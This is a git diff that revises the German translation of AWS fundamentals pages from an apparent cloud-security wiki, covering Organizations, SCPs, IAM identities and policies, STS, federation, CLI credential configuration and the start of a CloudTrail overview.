diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
index c4d965e51..c8043a45e 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
@@ -20,7 +20,7 @@ Daher gibt es **zwei Arten von Konten in einer Organisation** (wir sprechen von
- Andere bestehende Konten zur Organisation einladen
- Konten aus der Organisation entfernen
- Einladungen verwalten
-- Richtlinien auf Entitäten (Roots, OUs oder Konten) innerhalb der Organisation anwenden
+- Richtlinien auf Entitäten (Wurzeln, OUs oder Konten) innerhalb der Organisation anwenden
- Die Integration mit unterstützten AWS-Diensten aktivieren, um die Funktionalität über alle Konten in der Organisation bereitzustellen.
- Es ist möglich, sich als Root-Benutzer mit der E-Mail-Adresse und dem Passwort anzumelden, die zum Erstellen dieses Root-Kontos/Organisation verwendet wurden.
@@ -31,16 +31,16 @@ Das Verwaltungskonto hat die **Verantwortlichkeiten eines Zahlungskontos** und i
```
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
```
-### **Organisations-Einheiten**
+### **Organisationseinheiten**
-Konten können in **Organisations-Einheiten (OU)** gruppiert werden. Auf diese Weise können Sie **Richtlinien** für die Organisations-Einheit erstellen, die auf **alle untergeordneten Konten angewendet werden**. Beachten Sie, dass eine OU andere OUs als Kinder haben kann.
+Accounts können in **Organisationseinheiten (OU)** gruppiert werden. Auf diese Weise können Sie **Richtlinien** für die Organisationseinheit erstellen, die auf **alle untergeordneten Konten angewendet werden**. Beachten Sie, dass eine OU andere OUs als Kinder haben kann.
```bash
# You can get the root id from aws organizations list-roots
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
```
### Service Control Policy (SCP)
-Eine **Service Control Policy (SCP)** ist eine Richtlinie, die die Dienste und Aktionen angibt, die Benutzer und Rollen in den Konten, auf die die SCP Einfluss hat, verwenden können. SCPs sind **ähnlich wie IAM** Berechtigungsrichtlinien, mit dem Unterschied, dass sie **keine Berechtigungen gewähren**. Stattdessen geben SCPs die **maximalen Berechtigungen** für eine Organisation, eine organisatorische Einheit (OU) oder ein Konto an. Wenn Sie eine SCP an den Stamm Ihrer Organisation oder an eine OU anhängen, **beschränkt die SCP die Berechtigungen für Entitäten in Mitgliedskonten**.
+Eine **Service Control Policy (SCP)** ist eine Richtlinie, die die Dienste und Aktionen angibt, die Benutzer und Rollen in den Konten, auf die die SCP Einfluss hat, verwenden können. SCPs sind **ähnlich wie IAM** Berechtigungsrichtlinien, mit dem Unterschied, dass sie **keine Berechtigungen gewähren**. Stattdessen geben SCPs die **maximalen Berechtigungen** für eine Organisation, eine organisatorische Einheit (OU) oder ein Konto an. Wenn Sie eine SCP an den Root Ihrer Organisation oder an eine OU anhängen, **beschränkt die SCP die Berechtigungen für Entitäten in Mitgliedskonten**.
Dies ist der EINZIGE Weg, wie **sogar der Root-Benutzer daran gehindert werden kann**, etwas zu tun. Zum Beispiel könnte es verwendet werden, um Benutzer daran zu hindern, CloudTrail zu deaktivieren oder Backups zu löschen.\
Der einzige Weg, dies zu umgehen, besteht darin, auch das **Master-Konto** zu kompromittieren, das die SCPs konfiguriert (das Master-Konto kann nicht blockiert werden).
@@ -50,17 +50,19 @@ Der einzige Weg, dies zu umgehen, besteht darin, auch das **Master-Konto** zu ko
SCP-Beispiele:
-- Den Root-Account vollständig verweigern
+- Verweigern Sie das Root-Konto vollständig
- Nur bestimmte Regionen zulassen
- Nur genehmigte Dienste zulassen
-- Verweigern, dass GuardDuty, CloudTrail und S3 Public Block Access deaktiviert werden
+- Verweigern Sie GuardDuty, CloudTrail und S3 Public Block Access von
-- Verweigern, dass Sicherheits-/Vorfallreaktionsrollen gelöscht oder
+deaktiviert werden
+
+- Verweigern Sie, dass Sicherheits-/Vorfallreaktionsrollen gelöscht oder
modifiziert werden.
-- Verweigern, dass Backups gelöscht werden.
-- Verweigern, IAM-Benutzer und Zugriffsschlüssel zu erstellen
+- Verweigern Sie, dass Backups gelöscht werden.
+- Verweigern Sie das Erstellen von IAM-Benutzern und Zugriffsschlüsseln
Finden Sie **JSON-Beispiele** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
@@ -90,7 +92,7 @@ IAM kann durch seine Fähigkeit definiert werden, Authentifizierungs-, Autorisie
### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html)
-Wenn Sie zum ersten Mal ein Amazon Web Services (AWS) Konto erstellen, beginnen Sie mit einer einzelnen Anmeldeidentität, die **vollständigen Zugriff auf alle** AWS-Dienste und -Ressourcen im Konto hat. Dies ist der _**Root-Benutzer**_ des AWS-Kontos und wird durch die Anmeldung mit der **E-Mail-Adresse und dem Passwort, die Sie zur Erstellung des Kontos verwendet haben**, aufgerufen.
+Wenn Sie zum ersten Mal ein Amazon Web Services (AWS) Konto erstellen, beginnen Sie mit einer einzigen Anmeldedaten, die **vollständigen Zugriff auf alle** AWS-Dienste und -Ressourcen im Konto hat. Dies ist der AWS-Konto _**Root-Benutzer**_ und wird durch die Anmeldung mit der **E-Mail-Adresse und dem Passwort, die Sie zur Erstellung des Kontos verwendet haben**, aufgerufen.
Beachten Sie, dass ein neuer **Admin-Benutzer** **weniger Berechtigungen als der Root-Benutzer** hat.
@@ -100,17 +102,17 @@ Aus sicherheitstechnischer Sicht wird empfohlen, andere Benutzer zu erstellen un
Ein IAM _Benutzer_ ist eine Entität, die Sie in AWS erstellen, um **die Person oder Anwendung** zu **repräsentieren, die damit interagiert**. Ein Benutzer in AWS besteht aus einem Namen und Anmeldeinformationen (Passwort und bis zu zwei Zugriffsschlüssel).
-Wenn Sie einen IAM-Benutzer erstellen, gewähren Sie ihm **Berechtigungen**, indem Sie ihn zu einer **Mitgliedschaft in einer Benutzergruppe** machen, die geeignete Berechtigungspolicen angehängt hat (empfohlen), oder indem Sie **Richtlinien direkt** an den Benutzer anhängen.
+Wenn Sie einen IAM-Benutzer erstellen, gewähren Sie ihm **Berechtigungen**, indem Sie ihn zu einer **Benutzergruppe** machen, die geeignete Berechtigungspolicen angehängt hat (empfohlen), oder indem Sie **direkt Richtlinien** an den Benutzer anhängen.
-Benutzer können **MFA aktivieren, um sich** über die Konsole anzumelden. API-Token von MFA-aktivierten Benutzern sind nicht durch MFA geschützt. Wenn Sie den **Zugriff auf die API-Schlüssel eines Benutzers mithilfe von MFA einschränken** möchten, müssen Sie in der Richtlinie angeben, dass für die Ausführung bestimmter Aktionen MFA vorhanden sein muss (Beispiel [**hier**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
+Benutzer können **MFA aktivieren, um sich** über die Konsole anzumelden. API-Token von MFA-aktivierten Benutzern sind nicht durch MFA geschützt. Wenn Sie den **Zugriff der API-Schlüssel eines Benutzers mit MFA einschränken** möchten, müssen Sie in der Richtlinie angeben, dass für die Ausführung bestimmter Aktionen MFA vorhanden sein muss (Beispiel [**hier**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
#### CLI
-- **Access Key ID**: 20 zufällige Großbuchstaben-Zahlenkombinationen wie AKHDNAPO86BSHKDIRYT
+- **Access Key ID**: 20 zufällige Großbuchstaben-Ziffern-Kombinationen wie AKHDNAPO86BSHKDIRYT
- **Secret access key ID**: 40 zufällige Groß- und Kleinbuchstaben: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Es ist nicht möglich, verlorene Secret Access Key IDs wiederherzustellen).
Wann immer Sie den **Access Key** **ändern** müssen, sollten Sie diesen Prozess befolgen:\
-NAN;_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_
+_Einen neuen Zugriffsschlüssel erstellen -> Den neuen Schlüssel auf das System/Anwendung anwenden -> Den ursprünglichen als inaktiv markieren -> Testen und Überprüfen, dass der neue Zugriffsschlüssel funktioniert -> Alten Zugriffsschlüssel löschen_
### MFA - Multi Factor Authentication
@@ -141,7 +143,7 @@ Hier sind einige wichtige Merkmale von Benutzergruppen:
- Eine Benutzer **gruppe** kann **viele Benutzer** enthalten, und ein **Benutzer** kann **zu mehreren Gruppen** gehören.
- **Benutzergruppen können nicht geschachtelt** werden; sie können nur Benutzer, nicht andere Benutzergruppen enthalten.
- Es gibt **keine Standardbenutzergruppe, die automatisch alle Benutzer im AWS-Konto** umfasst. Wenn Sie eine solche Benutzergruppe haben möchten, müssen Sie sie erstellen und jeden neuen Benutzer ihr zuweisen.
-- Die Anzahl und Größe der IAM-Ressourcen in einem AWS-Konto, wie die Anzahl der Gruppen und die Anzahl der Gruppen, denen ein Benutzer angehören kann, sind begrenzt. Weitere Informationen finden Sie unter [IAM und AWS STS-Quoten](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
+- Die Anzahl und Größe der IAM-Ressourcen in einem AWS-Konto, wie die Anzahl der Gruppen und die Anzahl der Gruppen, denen ein Benutzer angehören kann, sind begrenzt. Weitere Informationen finden Sie unter [IAM- und AWS STS-Quoten](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
### [IAM-Rollen](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html)
@@ -151,11 +153,11 @@ Eine IAM-Rolle besteht aus **zwei Arten von Richtlinien**: einer **Vertrauensric
#### AWS Security Token Service (STS)
-AWS Security Token Service (STS) ist ein Webdienst, der die **Ausstellung von temporären, eingeschränkten Anmeldeinformationen** erleichtert. Er ist speziell auf folgende Aspekte zugeschnitten:
+AWS Security Token Service (STS) ist ein Webdienst, der die **Ausstellung von temporären, eingeschränkten Anmeldeinformationen** erleichtert. Er ist speziell auf folgende Zwecke zugeschnitten:
### [Temporäre Anmeldeinformationen in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html)
-**Temporäre Anmeldeinformationen werden hauptsächlich mit IAM-Rollen verwendet**, es gibt jedoch auch andere Verwendungen. Sie können temporäre Anmeldeinformationen anfordern, die über einen eingeschränkteren Satz von Berechtigungen verfügen als Ihr standardmäßiger IAM-Benutzer. Dies **verhindert**, dass Sie **versehentlich Aufgaben ausführen, die nicht erlaubt sind** durch die eingeschränkten Anmeldeinformationen. Ein Vorteil temporärer Anmeldeinformationen ist, dass sie automatisch nach einer festgelegten Zeit ablaufen. Sie haben die Kontrolle über die Dauer, für die die Anmeldeinformationen gültig sind.
+**Temporäre Anmeldeinformationen werden hauptsächlich mit IAM-Rollen verwendet**, es gibt jedoch auch andere Verwendungszwecke. Sie können temporäre Anmeldeinformationen anfordern, die über einen eingeschränkteren Satz von Berechtigungen verfügen als Ihr standardmäßiger IAM-Benutzer. Dies **verhindert**, dass Sie **versehentlich Aufgaben ausführen, die nicht erlaubt sind** durch die eingeschränkten Anmeldeinformationen. Ein Vorteil von temporären Anmeldeinformationen ist, dass sie automatisch nach einer festgelegten Zeit ablaufen. Sie haben die Kontrolle über die Dauer, für die die Anmeldeinformationen gültig sind.
### Richtlinien
@@ -164,7 +166,7 @@ AWS Security Token Service (STS) ist ein Webdienst, der die **Ausstellung von te
Werden verwendet, um Berechtigungen zuzuweisen. Es gibt 2 Arten:
- AWS verwaltete Richtlinien (vorkonfiguriert von AWS)
-- Kundenverwaltete Richtlinien: Von Ihnen konfiguriert. Sie können Richtlinien basierend auf AWS verwalteten Richtlinien erstellen (eine davon ändern und Ihre eigene erstellen), den Richtlinien-Generator verwenden (eine GUI-Ansicht, die Ihnen hilft, Berechtigungen zu gewähren und zu verweigern) oder Ihre eigenen schreiben.
+- Kundenverwaltete Richtlinien: Von Ihnen konfiguriert. Sie können Richtlinien basierend auf AWS verwalteten Richtlinien erstellen (eine davon ändern und Ihre eigene erstellen), den Richtliniengenerator verwenden (eine GUI-Ansicht, die Ihnen hilft, Berechtigungen zu gewähren und zu verweigern) oder Ihre eigenen schreiben.
Standardmäßig ist der Zugriff **verweigert**, der Zugriff wird gewährt, wenn eine explizite Rolle angegeben wurde.\
Wenn **einzelne "Deny" existiert, wird sie das "Allow" überschreiben**, mit Ausnahme von Anfragen, die die Root-Sicherheitsanmeldeinformationen des AWS-Kontos verwenden (die standardmäßig erlaubt sind).
@@ -196,7 +198,7 @@ Die [spezifischen Felder, die für Bedingungen pro Dienst verwendet werden könn
#### Inline-Richtlinien
Diese Art von Richtlinien wird **direkt einem Benutzer, einer Gruppe oder einer Rolle zugewiesen**. Daher erscheinen sie nicht in der Richtlinienliste, da sie von niemand anderem verwendet werden können.\
-Inline-Richtlinien sind nützlich, wenn Sie eine **strikte Eins-zu-eins-Beziehung zwischen einer Richtlinie und der Identität** aufrechterhalten möchten, auf die sie angewendet wird. Zum Beispiel möchten Sie sicherstellen, dass die Berechtigungen in einer Richtlinie nicht versehentlich einer anderen Identität zugewiesen werden, als der, für die sie bestimmt sind. Wenn Sie eine Inline-Richtlinie verwenden, können die Berechtigungen in der Richtlinie nicht versehentlich der falschen Identität zugeordnet werden. Darüber hinaus werden beim Löschen dieser Identität über die AWS Management Console auch die in der Identität eingebetteten Richtlinien gelöscht. Das liegt daran, dass sie Teil der Hauptentität sind.
+Inline-Richtlinien sind nützlich, wenn Sie eine **strikte Eins-zu-eins-Beziehung zwischen einer Richtlinie und der Identität, auf die sie angewendet wird, aufrechterhalten möchten**. Zum Beispiel möchten Sie sicherstellen, dass die Berechtigungen in einer Richtlinie nicht versehentlich einer anderen Identität zugewiesen werden, als der, für die sie bestimmt sind. Wenn Sie eine Inline-Richtlinie verwenden, können die Berechtigungen in der Richtlinie nicht versehentlich der falschen Identität zugeordnet werden. Darüber hinaus werden die in der Identität eingebetteten Richtlinien gelöscht, wenn Sie die AWS Management Console verwenden, um diese Identität zu löschen. Das liegt daran, dass sie Teil der Hauptentität sind.
#### Ressourcen-Bucket-Richtlinien
@@ -206,7 +208,7 @@ Wenn eine Hauptentität keine ausdrückliche Ablehnung auf ihnen hat und eine Re
### IAM-Grenzen
-IAM-Grenzen können verwendet werden, um **die Berechtigungen, auf die ein Benutzer oder eine Rolle Zugriff haben sollte, einzuschränken**. Auf diese Weise wird die Operation **fehlschlagen**, selbst wenn ein anderes Set von Berechtigungen dem Benutzer durch eine **andere Richtlinie** gewährt wird, wenn er versucht, sie zu verwenden.
+IAM-Grenzen können verwendet werden, um **die Berechtigungen, auf die ein Benutzer oder eine Rolle Zugriff haben sollte, einzuschränken**. Auf diese Weise wird die Operation **fehlschlagen**, wenn dem Benutzer durch eine **andere Richtlinie** ein anderes Berechtigungsset gewährt wird und er versucht, diese zu verwenden.
Eine Grenze ist einfach eine Richtlinie, die einem Benutzer angehängt ist und **das maximale Niveau der Berechtigungen angibt, die der Benutzer oder die Rolle haben kann**. Selbst wenn der Benutzer Administratorzugriff hat, wenn die Grenze angibt, dass er nur S· Buckets lesen kann, ist das das Maximum, was er tun kann.
@@ -214,9 +216,9 @@ Eine Grenze ist einfach eine Richtlinie, die einem Benutzer angehängt ist und *
### Sitzungsrichtlinien
-Eine Sitzungsrichtlinie ist eine **Richtlinie, die gesetzt wird, wenn eine Rolle angenommen wird**. Dies wird wie eine **IAM-Grenze für diese Sitzung** sein: Das bedeutet, dass die Sitzungsrichtlinie keine Berechtigungen gewährt, sondern **sie auf die in der Richtlinie angegebenen beschränkt** (wobei die maximalen Berechtigungen die sind, die die Rolle hat).
+Eine Sitzungsrichtlinie ist eine **Richtlinie, die gesetzt wird, wenn eine Rolle angenommen wird**. Dies wird wie eine **IAM-Grenze für diese Sitzung** sein: Das bedeutet, dass die Sitzungsrichtlinie keine Berechtigungen gewährt, sondern **sie auf die in der Richtlinie angegebenen einschränkt** (wobei die maximalen Berechtigungen die sind, die die Rolle hat).
-Dies ist nützlich für **Sicherheitsmaßnahmen**: Wenn ein Administrator eine sehr privilegierte Rolle annehmen möchte, könnte er die Berechtigungen auf nur die in der Sitzungsrichtlinie angegebenen beschränken, falls die Sitzung kompromittiert wird.
+Dies ist nützlich für **Sicherheitsmaßnahmen**: Wenn ein Administrator eine sehr privilegierte Rolle annehmen möchte, könnte er die Berechtigungen auf nur die in der Sitzungsrichtlinie angegebenen einschränken, falls die Sitzung kompromittiert wird.
```bash
aws sts assume-role \
--role-arn \
@@ -226,16 +228,16 @@ aws sts assume-role \
```
Beachten Sie, dass **AWS standardmäßig Sitzungsrichtlinien zu Sitzungen hinzufügen kann**, die aus anderen Gründen generiert werden. Zum Beispiel wird in [unauthentifizierten Cognito-angenommenen Rollen](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) standardmäßig (unter Verwendung verbesserter Authentifizierung) von AWS **Sitzungsanmeldeinformationen mit einer Sitzungsrichtlinie** generiert, die die Dienste einschränkt, auf die die Sitzung zugreifen kann [**auf die folgende Liste**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
-Wenn Sie also irgendwann den Fehler "... weil keine Sitzungsrichtlinie den ... erlaubt" erhalten und die Rolle Zugriff auf die Aktion hat, liegt es daran, dass **eine Sitzungsrichtlinie dies verhindert**.
+Wenn Sie also irgendwann den Fehler "... weil keine Sitzungsrichtlinie dies erlaubt ..." erhalten und die Rolle Zugriff auf die Aktion hat, liegt es daran, dass **eine Sitzungsrichtlinie dies verhindert**.
### Identitätsföderation
-Die Identitätsföderation **ermöglicht Benutzern von Identitätsanbietern, die extern** zu AWS sind, den sicheren Zugriff auf AWS-Ressourcen, ohne AWS-Benutzerdaten von einem gültigen IAM-Benutzerkonto angeben zu müssen.\
+Die Identitätsföderation **ermöglicht Benutzern von Identitätsanbietern, die extern** zu AWS sind, sicher auf AWS-Ressourcen zuzugreifen, ohne AWS-Benutzeranmeldeinformationen eines gültigen IAM-Benutzerkontos angeben zu müssen.\
Ein Beispiel für einen Identitätsanbieter kann Ihr eigenes Unternehmens-**Microsoft Active Directory** (über **SAML**) oder **OpenID**-Dienste (wie **Google**) sein. Der föderierte Zugriff ermöglicht es dann den Benutzern innerhalb davon, auf AWS zuzugreifen.
-Um dieses Vertrauen zu konfigurieren, wird ein **IAM-Identitätsanbieter (SAML oder OAuth)** generiert, der die **andere Plattform** **vertraut**. Dann wird mindestens eine **IAM-Rolle (vertrauend) dem Identitätsanbieter zugewiesen**. Wenn ein Benutzer von der vertrauenswürdigen Plattform auf AWS zugreift, greift er als die genannte Rolle zu.
+Um dieses Vertrauen zu konfigurieren, wird ein **IAM-Identitätsanbieter (SAML oder OAuth)** erstellt, der die **andere Plattform** **vertraut**. Dann wird mindestens eine **IAM-Rolle (vertrauend) dem Identitätsanbieter zugewiesen**. Wenn ein Benutzer von der vertrauenswürdigen Plattform auf AWS zugreift, greift er als die genannte Rolle zu.
-Sie möchten jedoch normalerweise eine **andere Rolle je nach Gruppe des Benutzers** auf der Drittanbieterplattform vergeben. Dann können mehrere **IAM-Rollen** dem Drittanbieter-Identitätsanbieter vertrauen, und die Drittanbieterplattform wird diejenige sein, die es Benutzern ermöglicht, eine Rolle oder die andere zu übernehmen.
+Sie möchten jedoch normalerweise eine **andere Rolle je nach Gruppe des Benutzers** auf der Drittanbieterplattform vergeben. Dann können mehrere **IAM-Rollen** dem Drittanbieter-Identitätsanbieter vertrauen, und die Drittanbieterplattform wird diejenige sein, die es den Benutzern ermöglicht, eine Rolle oder die andere zu übernehmen.
@@ -245,7 +247,7 @@ AWS IAM Identity Center (Nachfolger von AWS Single Sign-On) erweitert die Mögli
Die Anmeldedomäne wird etwas sein wie `.awsapps.com`.
-Um Benutzer anzumelden, können 3 Identitätsquellen verwendet werden:
+Um Benutzer anzumelden, gibt es 3 Identitätsquellen, die verwendet werden können:
- Identity Center-Verzeichnis: Reguläre AWS-Benutzer
- Active Directory: Unterstützt verschiedene Connectoren
@@ -253,19 +255,19 @@ Um Benutzer anzumelden, können 3 Identitätsquellen verwendet werden:
-Im einfachsten Fall des Identity Center-Verzeichnisses wird das **Identity Center eine Liste von Benutzern und Gruppen haben** und in der Lage sein, **Richtlinien** für sie zu **irgendeinem der Konten** der Organisation zuzuweisen.
+Im einfachsten Fall des Identity Center-Verzeichnisses wird das **Identity Center eine Liste von Benutzern und Gruppen** haben und in der Lage sein, **Richtlinien** für sie zu **irgendeinem der Konten** der Organisation zuzuweisen.
Um einem Benutzer/einer Gruppe im Identity Center Zugriff auf ein Konto zu gewähren, wird ein **SAML-Identitätsanbieter, der dem Identity Center vertraut, erstellt**, und eine **Rolle, die dem Identitätsanbieter mit den angegebenen Richtlinien vertraut, wird im Zielkonto erstellt**.
#### AwsSSOInlinePolicy
-Es ist möglich, **Berechtigungen über Inline-Richtlinien für Rollen zu vergeben, die über IAM Identity Center erstellt wurden**. Die in den Konten erstellten Rollen, die **Inline-Richtlinien im AWS Identity Center** erhalten, haben diese Berechtigungen in einer Inline-Richtlinie namens **`AwsSSOInlinePolicy`**.
+Es ist möglich, **Berechtigungen über Inline-Richtlinien für Rollen zu gewähren, die über IAM Identity Center erstellt wurden**. Die in den Konten erstellten Rollen, die **Inline-Richtlinien im AWS Identity Center** erhalten, haben diese Berechtigungen in einer Inline-Richtlinie namens **`AwsSSOInlinePolicy`**.
-Daher bedeutet es nicht, dass, selbst wenn Sie 2 Rollen mit einer Inline-Richtlinie namens **`AwsSSOInlinePolicy`** sehen, sie **die gleichen Berechtigungen haben**.
+Daher bedeutet es nicht, dass, selbst wenn Sie 2 Rollen mit einer Inline-Richtlinie namens **`AwsSSOInlinePolicy`** sehen, dass sie **die gleichen Berechtigungen haben**.
### Cross Account Trusts und Rollen
-**Ein Benutzer** (vertrauend) kann eine Cross-Account-Rolle mit einigen Richtlinien erstellen und dann **einem anderen Benutzer** (vertrauenswürdig) den **Zugriff auf sein Konto** gewähren, jedoch nur **mit dem Zugriff, der in den neuen Rollrichtlinien angegeben ist**. Um dies zu erstellen, erstellen Sie einfach eine neue Rolle und wählen Sie Cross-Account-Rolle aus. Rollen für den Cross-Account-Zugriff bieten zwei Optionen. Bereitstellung des Zugriffs zwischen AWS-Konten, die Sie besitzen, und Bereitstellung des Zugriffs zwischen einem Konto, das Sie besitzen, und einem Drittanbieter-AWS-Konto.\
+**Ein Benutzer** (vertrauend) kann eine Cross-Account-Rolle mit einigen Richtlinien erstellen und dann **einem anderen Benutzer** (vertrauenswürdig) erlauben, **auf sein Konto zuzugreifen**, jedoch nur **mit dem Zugriff, der in den neuen Rollrichtlinien angegeben ist**. Um dies zu erstellen, erstellen Sie einfach eine neue Rolle und wählen Sie Cross-Account-Rolle aus. Rollen für den Cross-Account-Zugriff bieten zwei Optionen. Bereitstellung des Zugriffs zwischen AWS-Konten, die Sie besitzen, und Bereitstellung des Zugriffs zwischen einem Konto, das Sie besitzen, und einem Drittanbieter-AWS-Konto.\
Es wird empfohlen, **den Benutzer, der vertraut ist, anzugeben und nichts Allgemeines zu verwenden**, da sonst andere authentifizierte Benutzer wie föderierte Benutzer dieses Vertrauen ebenfalls missbrauchen können.
### AWS Simple AD
@@ -286,25 +288,27 @@ Die App verwendet die AssumeRoleWithWebIdentity, um temporäre Anmeldeinformatio
### Weitere IAM-Optionen
-- Sie können **eine Passwortrichtlinieneinstellung** wie Mindestlänge und Passwortanforderungen festlegen.
-- Sie können **einen "Credential Report"** mit Informationen über aktuelle Anmeldeinformationen (wie Benutzererstellungszeit, ob das Passwort aktiviert ist...) herunterladen. Sie können einen Berechtigungsbericht so oft wie einmal alle **vier Stunden** generieren.
+- Sie können **eine Passwortrichtlinieneinstellung** mit Optionen wie Mindestlänge und Passwortanforderungen festlegen.
+- Sie können **einen "Credential Report" herunterladen**, der Informationen über aktuelle Anmeldeinformationen enthält (wie Erstellungszeit des Benutzers, ob das Passwort aktiviert ist...). Sie können einen Berechtigungsbericht so oft wie einmal alle **vier Stunden** generieren.
-AWS Identity and Access Management (IAM) bietet **fein abgestufte Zugriffskontrolle** über alle AWS-Dienste. Mit IAM können Sie festlegen, **wer auf welche Dienste und Ressourcen zugreifen kann** und unter welchen Bedingungen. Mit IAM-Richtlinien verwalten Sie Berechtigungen für Ihre Mitarbeiter und Systeme, um **die Berechtigungen mit minimalen Rechten** sicherzustellen.
+AWS Identity and Access Management (IAM) bietet **fein abgestufte Zugriffskontrolle** über alle AWS-Dienste. Mit IAM können Sie festlegen, **wer auf welche Dienste und Ressourcen zugreifen kann** und unter welchen Bedingungen. Mit IAM-Richtlinien verwalten Sie Berechtigungen für Ihre Mitarbeiter und Systeme, um **die geringsten Privilegien** sicherzustellen.
### IAM-ID-Präfixe
Auf [**dieser Seite**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) finden Sie die **IAM-ID-Präfixe** von Schlüsseln, abhängig von ihrer Natur:
-| ABIA | [AWS STS-Dienstträger-Token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
+| Identifier Code | Beschreibung |
| ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| ACCA | Kontextabhängige Anmeldeinformationen |
+| ABIA | [AWS STS-Dienstträger-Token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
+
+| ACCA | Kontextbezogene Anmeldeinformationen |
| AGPA | Benutzergruppe |
| AIDA | IAM-Benutzer |
| AIPA | Amazon EC2-Instanzprofil |
| AKIA | Zugriffsschlüssel |
| ANPA | Verwaltete Richtlinie |
| ANVA | Version in einer verwalteten Richtlinie |
-| APKA | Öffentliches Schlüssel |
+| APKA | Öffentlicher Schlüssel |
| AROA | Rolle |
| ASCA | Zertifikat |
| ASIA | [Temporäre (AWS STS) Zugriffsschlüssel-IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) verwenden dieses Präfix, sind jedoch nur in Kombination mit dem geheimen Zugriffsschlüssel und dem Sitzungstoken eindeutig. |
@@ -327,7 +331,7 @@ Die folgenden Berechtigungen gewähren verschiedenen Lesezugriff auf Metadaten:
### CLI-Authentifizierung
Damit ein regulärer Benutzer sich über die CLI bei AWS authentifizieren kann, müssen **lokale Anmeldeinformationen** vorhanden sein. Standardmäßig können Sie diese **manuell** in `~/.aws/credentials` konfigurieren oder **ausführen** `aws configure`.\
-In dieser Datei können Sie mehr als ein Profil haben. Wenn **kein Profil** angegeben ist, wird das in dieser Datei genannte **`[default]`** verwendet.\
+In dieser Datei können Sie mehr als ein Profil haben. Wenn **kein Profil** angegeben ist, wird das in dieser Datei als **`[default]`** bezeichnete verwendet.\
Beispiel einer Anmeldeinformationsdatei mit mehr als 1 Profil:
```
[default]
@@ -339,9 +343,9 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
region = eu-west-2
```
-Wenn Sie auf **verschiedene AWS-Konten** zugreifen müssen und Ihr Profil Zugriff auf **die Annahme einer Rolle in diesen Konten** erhalten hat, müssen Sie nicht jedes Mal manuell STS aufrufen (`aws sts assume-role --role-arn --role-session-name sessname`) und die Anmeldeinformationen konfigurieren.
+Wenn Sie auf **verschiedene AWS-Konten** zugreifen müssen und Ihr Profil Zugriff auf **das Übernehmen einer Rolle in diesen Konten** erhalten hat, müssen Sie nicht jedes Mal manuell STS aufrufen (`aws sts assume-role --role-arn --role-session-name sessname`) und die Anmeldeinformationen konfigurieren.
-Sie können die Datei `~/.aws/config` verwenden, um [**anzugeben, welche Rollen angenommen werden sollen**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), und dann den Parameter `--profile` wie gewohnt verwenden (die `assume-role` wird für den Benutzer transparent durchgeführt).\
+Sie können die Datei `~/.aws/config` verwenden, um [ **anzugeben, welche Rollen übernommen werden sollen**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), und dann den Parameter `--profile` wie gewohnt verwenden (das `assume-role` wird für den Benutzer transparent durchgeführt).\
Ein Beispiel für eine Konfigurationsdatei:
```
[profile acc2]
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
index c88d3f0e6..b5efd30b3 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
@@ -4,7 +4,7 @@
## **CloudTrail**
-AWS CloudTrail **zeichnet Aktivitäten in Ihrer AWS-Umgebung auf und überwacht sie**. Es erfasst detaillierte **Ereignisprotokolle**, einschließlich wer was, wann und von wo getan hat, für alle Interaktionen mit AWS-Ressourcen. Dies bietet eine Prüfspur von Änderungen und Aktionen, die bei der Sicherheitsanalyse, der Compliance-Prüfung und der Verfolgung von Ressourcenänderungen hilft. CloudTrail ist entscheidend für das Verständnis des Verhaltens von Benutzern und Ressourcen, die Verbesserung der Sicherheitslage und die Gewährleistung der Einhaltung von Vorschriften.
+AWS CloudTrail **zeichnet Aktivitäten in Ihrer AWS-Umgebung auf und überwacht sie**. Es erfasst detaillierte **Ereignisprotokolle**, einschließlich wer was, wann und von wo getan hat, für alle Interaktionen mit AWS-Ressourcen. Dies bietet eine Prüfspur von Änderungen und Aktionen, die bei der Sicherheitsanalyse, der Compliance-Prüfung und der Verfolgung von Ressourcenänderungen hilft. CloudTrail ist entscheidend für das Verständnis des Verhaltens von Benutzern und Ressourcen, zur Verbesserung der Sicherheitslage und zur Gewährleistung der Einhaltung von Vorschriften.
Jedes protokollierte Ereignis enthält:
